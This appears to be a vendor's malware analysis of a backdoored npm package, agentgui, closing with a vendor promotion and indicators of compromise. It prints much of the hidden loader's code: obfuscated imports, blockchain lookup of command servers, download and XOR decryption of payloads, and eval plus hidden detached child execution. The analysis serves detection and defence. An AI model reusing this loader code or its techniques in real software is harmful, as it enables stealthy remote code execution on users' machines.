agentgui (v1.0.1127, 1,110 published versions on npm, published by the account lanmower) is a multi-agent coding GUI that wraps Claude Code, Gemini CLI, Kilo CLI, and other AI coding assistants into a unified server with an Electron desktop frontend. The package repository at github.com/AnEntrypoint/agentgui shows sustained development activity across the version history. The latest published version carries a supply-chain backdoor: an obfuscated JavaScript loader appended to database.js after roughly 300 characters of whitespace padding on the same line as the legitimate module export. The loader queries public Ethereum RPC endpoints to find the latest transaction from a specific wallet and extracts two IPv4 addresses from the transaction’s to field. XOR-encrypted payloads downloaded from the resolved addresses execute in-process via eval() and as a detached child process.
The artifact
The package.json lists @anthropic-ai/claude-code, @google/gemini-cli, @kilocode/cli, opencode-ai, better-sqlite3, express, ws, and xstate among its dependencies. The postinstall hook runs scripts/patch-fsbrowse.js, which patches the fsbrowse module for dark-mode support and Windows path handling. The binary entry point bin/gmgui.cjs spawns server.js with bun or node. An Electron wrapper at electron/main.js enables contextIsolation and disables nodeIntegration.
The lib/ directory contains 33 modules with explicit security controls: CSRF guards on HTTP endpoints, terminal session access gated behind both a password and an ENABLE_TERMINAL environment variable, path confinement via confineToRoots(), and shell: false on every child process spawn. API keys read from provider configuration files are masked to the last four characters before reaching the client. The http-handler.js module alone runs 932 lines. The contrast between the security engineering in lib/ and the obfuscated loader in database.js is consistent with a legitimate codebase that was compromised after the fact.
The ccsniff dependency (github:AnEntrypoint/ccsniff#main), by the same author, reads local Claude Code session files from ~/.claude/projects/. It is pinned to a mutable GitHub branch reference rather than a registry version.
The payload
Line 109 of database.js starts with the legitimate export statement export default { queries };. After that statement, roughly 300 characters of whitespace padding fill the remainder of the line before the obfuscated payload begins. In an editor or diff tool that wraps or truncates long lines, the file appears to end at the export.
The first instructions set a campaign identifier and stash Node.js globals so that code executed later via eval() can import modules:
global.i = "A9-2057";
global.r = require;
typeof module === "object" && (global.m = module);
Five core modules are imported through Unicode-escaped strings. The raw source reads:
require("\u0068\u0074\u0074\u0070") // http
require("\u0068\u0074\u0074\u0070\u0073") // https
require("\u007A\u006C\u0069\u0062") // zlib
require("\u0075\u0072\u006C") // url
require("\u0063\u0068\u0069\u006C\u0064\u005F\u0070\u0072\u006F\u0063\u0065\u0073\u0073") // child_process
Header values, event names, and string comparisons use the same encoding throughout the payload. A grep for eval, spawn, http, or child_process returns nothing.
Blockchain C2 resolution
The loader constructs a C2 address from the Ethereum blockchain rather than from a hardcoded domain or IP. Four public Ethereum JSON-RPC endpoints serve as the lookup infrastructure:
| Endpoint | Role |
|---|---|
1rpc[.]io/eth | Ethereum RPC |
eth[.]drpc[.]org | Ethereum RPC |
ethereum-rpc[.]publicnode[.]com | Ethereum RPC |
eth-mainnet[.]public[.]blastapi[.]io | Ethereum RPC |
The BlockScout API at eth[.]blockscout[.]com/api serves as a fallback for transaction history lookups. All five are legitimate public services.
The wallet address and RPC list are stored in the same obfuscated form. S holds 42 Unicode-escaped characters that resolve to 0xa322e5f3d311d3080e6f0121063e9adc2490ef1a:
const S = "\u0030\u0078\u0061\u0033\u0032\u0032\u0045\u0035\u0066\u0033"
+ "\u0044\u0033\u0031\u0031\u0044\u0033\u0030\u0038\u0030\u0065"
+ "\u0036\u0066\u0030\u0031\u0032\u0031\u0030\u0036\u0033\u0065"
+ "\u0039\u0061\u0044\u0043\u0032\u0034\u0039\u0030\u0045\u0066"
+ "\u0031\u0061"
.toLowerCase();
const R = [...new Set([
process.env.ETH_RPC_URL,
// four hardcoded RPC URLs (decoded in the table above)
].filter(Boolean))];
The R array also accepts a custom RPC endpoint through process.env.ETH_RPC_URL, so the loader works in environments where the hardcoded endpoints are blocked.
The loader races requests across the RPC endpoints to find the latest transaction sent from wallet S. The eth_getBlockByNumber and eth_getTransactionCount RPC methods drive a binary search that narrows the block range until it locates the target transaction by nonce. The search starts by rounding the current block number to the nearest 1,000 (B = 1000n) and probing surrounding blocks for a fast match before falling back to the binary search:
const cb = t => [...new Set([
t - 1n, t, t + 1n, t - B - 1n, t - B, t - B + 1n
].filter(t => t >= 0n))];
// bt() fetches a full block and searches its transactions for S
// ls() runs the binary search using eth_getTransactionCount
// li() falls back to the BlockScout API for transaction history
let e = await fm(cb(n).map(bt));
e || (e = await ls(t).catch(li));
The to field of the matching transaction encodes two IPv4 addresses. Ethereum addresses are 20 bytes, and the loader uses the first 8:
const n2 = Buffer.from(e.tx.to.replace(/^0x/i, ""), "hex");
const ip = b => b[0] + "." + b[1] + "." + b[2] + "." + b[3];
const [o, r] = [ip(n2.subarray(0, 4)), ip(n2.subarray(4, 8))];
Bytes 0 through 3 become IP1, bytes 4 through 7 become IP2. Each byte becomes one octet, so a to address beginning with 0x0a250164 resolves to 10[.]37[.]1[.]100. The adversary rotates C2 servers by sending a new Ethereum transaction from the same wallet to a new address whose first 8 bytes encode the desired IPs. Domain takedowns do not apply because no domain is involved. The transaction itself is immutable on the blockchain, and the wallet can broadcast a replacement at any time.
Stage-2 delivery and execution
The loader downloads two payloads from the resolved IP over HTTP on port 443, bypassing TLS certificate validation by using plain HTTP on the standard HTTPS port. The User-Agent is set to Chrome 131 on Windows 10.
| Path | XOR key | Execution |
|---|---|---|
/0x/cls | q4FZkxX{!h,Sr3=@ | eval() in-process, then detached child |
/0x/ls | y-p_>d$0B&@^1aQk | Detached child process only |
The gc function handles the download and XOR decryption:
function gc(k, u) {
const b = {
hostname: u.hostname,
port: +u.port || 80,
path: u.pathname + u.search,
headers: {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
+ "AppleWebKit/537.36 (KHTML, like Gecko) "
+ "Chrome/131.0.0.0 Safari/537.36",
"Sec-V": g._V || 0
}
};
const x = b => {
const e = k.length;
for (let t = 0; t < b.length; t++)
b[t] ^= k.charCodeAt(t % e);
return b.toString("utf8");
};
const h = t => {
const n = t.headers["x-payload-b64"];
if (!n) throw new Error("no b64");
return x(Buffer.from(n, "base64"));
};
// q() makes the request, collects the body, XOR-decrypts via x()
// falls back to decoding the x-payload-b64 header via h()
return q("GET").catch(() => q("HEAD"));
}
The decryption function x iterates over the response bytes and XORs each byte with the key character at position % key.length. If the response body is empty, the loader reads the x-payload-b64 response header, base64-decodes it, and applies the same XOR. If the GET fails entirely, a HEAD request extracts the payload from the header alone.
The rl function prepends global assignments and runs the decrypted payload through one or two execution paths:
async function rl(t, n, e) {
try {
const o = await gc(n, t);
const r = "global['_V']='" + (g._V || 0) + "';"
+ "global['" + (e ? "_H" : "_t_s") + "']='"
+ (e ? g._H : g._t_s) + "';"
+ "global['" + (e ? "_H2" : "_t_u") + "']='"
+ (e ? g._H2 : g._t_u) + "';"
+ "global['r']=require;global['m']=module;"
+ "var _global=global;";
e || eval(r + o);
spawn("node", ["-e", r + o], {
detached: true,
stdio: "ignore",
windowsHide: true
}).unref();
} catch (t) {}
}
The third argument e controls the execution mode. The /0x/cls call passes false: the payload runs in-process via eval() first, then spawns a detached child with the same code. The /0x/ls call passes true: only the detached child spawns, eval() is skipped. The detached: true flag and .unref() call detach the child from the parent. The child survives parent exit, does not appear in the parent’s stdio, and on Windows the windowsHide flag suppresses the console window.
The global assignments prepended to each payload carry the campaign identifier, require, module, and the resolved C2 addresses. The cls path receives IP1 on ports 443 and 80 (_t_s, _t_u). The ls path receives both IP1 and IP2 on port 80 (_H, _H2).
The final invocation downloads and runs both payloads sequentially. The XOR keys are Unicode-escaped:
await rl(
new URL("hxxp://" + o + ":443/0x/cls"),
"\u0071\u0034\u0046\u005A\u006B\u0078\u0058\u007B" // q4FZkxX{
+ "\u0021\u0068\u002C\u0053\u0072\u0033\u003D\u0040", // !h,Sr3=@
false
);
await rl(
new URL("hxxp://" + o + ":443/0x/ls"),
"\u0079\u002D\u0070\u005F\u003E\u0064\u0024\u0030" // y-p_>d$0
+ "\u0042\u0026\u0040\u005E\u0031\u0061\u0051\u006B", // B&@^1aQk
true
);
The catch block in rl silently swallows errors, so a network failure does not crash the host application.
What a defender can do
Search lockfiles and global installs for agentgui. If the package was installed, check for detached node -e processes that may still be running. The child process spawned by the /0x/ls payload persists independently of the parent and survives logout.
Inspect node_modules/agentgui/database.js for content beyond the export default { queries }; statement on line 109. The payload begins after roughly 300 characters of whitespace on the same line. Standard line-length truncation in many editors hides it.
Monitor the Ethereum wallet 0xa322e5f3d311d3080e6f0121063e9adc2490ef1a for new outbound transactions. Each transaction updates the C2 addresses the loader resolves. The wallet’s transaction history on a block explorer shows the rotation cadence.
Setting ignore-scripts=true in .npmrc blocks the postinstall hook but does not prevent the backdoor from executing. The payload is in database.js rather than in a lifecycle script, so it runs at module import time whenever the application starts.
Where Aephix fits
A line-level review of a 234-file package with 1,110 published versions is the step that catches a payload hidden in whitespace after legitimate code. Every issue of Weekly Sleuth carries analysis at that depth, with the confirmed artifacts, the campaigns they belong to, and their indicators. Aephix Vantage gives you a free cross-ecosystem check before you install.
Indicators of compromise
| Type | Indicator | Context |
|---|---|---|
| npm package | agentgui (1,110+ versions, v1.0.1127 latest) | Compromised multi-agent coding GUI |
| npm account | lanmower (almagestfraternite[@]gmail[.]com) | Package publisher |
| Payload file | database.js line 109 | Obfuscated loader appended after whitespace padding |
| Campaign ID | A9-2057 | Set as global.i in the payload |
| Ethereum wallet | 0xa322e5f3d311d3080e6f0121063e9adc2490ef1a | Outbound transactions encode C2 IPv4 addresses |
| C2 path | /0x/cls | XOR-decrypted, eval() in-process + detached child |
| C2 path | /0x/ls | XOR-decrypted, detached node child process only |
| XOR key | q4FZkxX{!h,Sr3=@ | Decryption key for /0x/cls payload |
| XOR key | y-p_>d$0B&@^1aQk | Decryption key for /0x/ls payload |
| RPC endpoint | 1rpc[.]io/eth | Ethereum RPC used for C2 resolution |
| RPC endpoint | eth[.]drpc[.]org | Ethereum RPC used for C2 resolution |
| RPC endpoint | ethereum-rpc[.]publicnode[.]com | Ethereum RPC used for C2 resolution |
| RPC endpoint | eth-mainnet[.]public[.]blastapi[.]io | Ethereum RPC used for C2 resolution |
| API endpoint | eth[.]blockscout[.]com/api | BlockScout fallback for transaction history |
| Dependency | ccsniff (github:AnEntrypoint/ccsniff#main) | Reads Claude Code session files, same author, mutable branch ref |
| Absent | Hardcoded C2 domain or IP | Addresses resolved dynamically from blockchain transactions |